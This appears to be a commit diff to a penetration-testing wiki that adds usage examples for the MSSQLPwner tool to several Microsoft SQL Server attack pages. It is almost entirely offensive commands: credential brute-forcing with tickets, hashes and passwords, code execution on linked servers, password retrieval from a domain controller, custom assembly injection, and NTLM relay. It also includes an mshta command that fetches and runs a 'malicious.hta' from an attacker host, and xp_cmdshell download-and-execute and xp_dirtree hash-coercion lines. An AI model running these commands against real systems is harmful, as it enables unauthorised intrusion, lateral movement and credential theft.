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Adding MSSQLPwner
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El3ct71k
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@ -287,10 +287,30 @@ legba mongodb --target localhost:27017 --username root --password data/passwords
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### MSSQL
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[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
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```shell
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# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
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# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
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# Bruteforce using tickets against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
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# Bruteforce using passwords against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
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# Bruteforce using hashes against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
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```
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```bash
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legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
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```
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### MySQL
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```bash
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@ -90,6 +90,25 @@ msf> use windows/manage/mssql_local_auth_bypass
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#### Login
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[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
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```shell
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# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
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# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
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# Bruteforce using tickets against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
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# Bruteforce using passwords against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
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# Bruteforce using hashes against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
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```
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```bash
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# Using Impacket mssqlclient.py
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mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
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@ -232,6 +251,21 @@ EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.1
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'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
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```
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[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
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```shell
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# Executing custom assembly on the current server with windows authentication and executing hostname command
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
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# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
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# Executing the hostname command using stored procedures on the linked SRV01 server
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
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# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
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```
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### Steal NetNTLM hash / Relay attack
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You should start a **SMB server** to capture the hash used in the authentication (`impacket-smbserver` or `responder` for example).
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@ -248,6 +282,19 @@ sudo impacket-smbserver share ./ -smb2support
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msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
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```
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[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
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```shell
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# Issuing NTLM relay attack on the SRV01 server
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
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# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
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# Issuing NTLM relay attack on the local server with custom command
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
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```
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{% hint style="warning" %}
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You can check if who (apart sysadmins) has permissions to run those MSSQL functions with:
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@ -21,6 +21,76 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
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## **MSSQL Enumeration / Discovery**
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### Python
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The [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) tool is based on impacket, and allows also authenticate using kerberos tickets, and attack through link chains
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<figure><img src="https://raw.githubusercontent.com/ScorpionesLabs/MSSqlPwner/main/assets/interractive.png"></figure>
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```shell
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# Interactive mode
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
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# Interactive mode with 2 depth level of impersonations
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
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# Executing custom assembly on the current server with windows authentication and executing hostname command
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
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# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
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# Executing the hostname command using stored procedures on the linked SRV01 server
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
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# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
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# Issuing NTLM relay attack on the SRV01 server
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
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# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
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# Issuing NTLM relay attack on the local server with custom command
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
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# Executing direct query
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
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# Retrieving password from the linked server DC01
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
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# Execute code using custom assembly on the linked server DC01
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
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# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
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# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
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# Bruteforce using tickets against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
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# Bruteforce using passwords against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
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# Bruteforce using hashes against the hosts listed on the hosts.txt
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mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
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```
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### Enumerating from the network without domain session
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```
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# Interactive mode
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
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```
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---
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### Powershell
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The powershell module [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) is very useful in this case.
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```powershell
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@ -92,6 +92,20 @@ C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -S
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EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
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```
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[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
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```shell
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# Issuing NTLM relay attack on the SRV01 server
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
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# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
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# Issuing NTLM relay attack on the local server with custom command
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mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
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```
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Or use this other technique: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce)
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### Certutil
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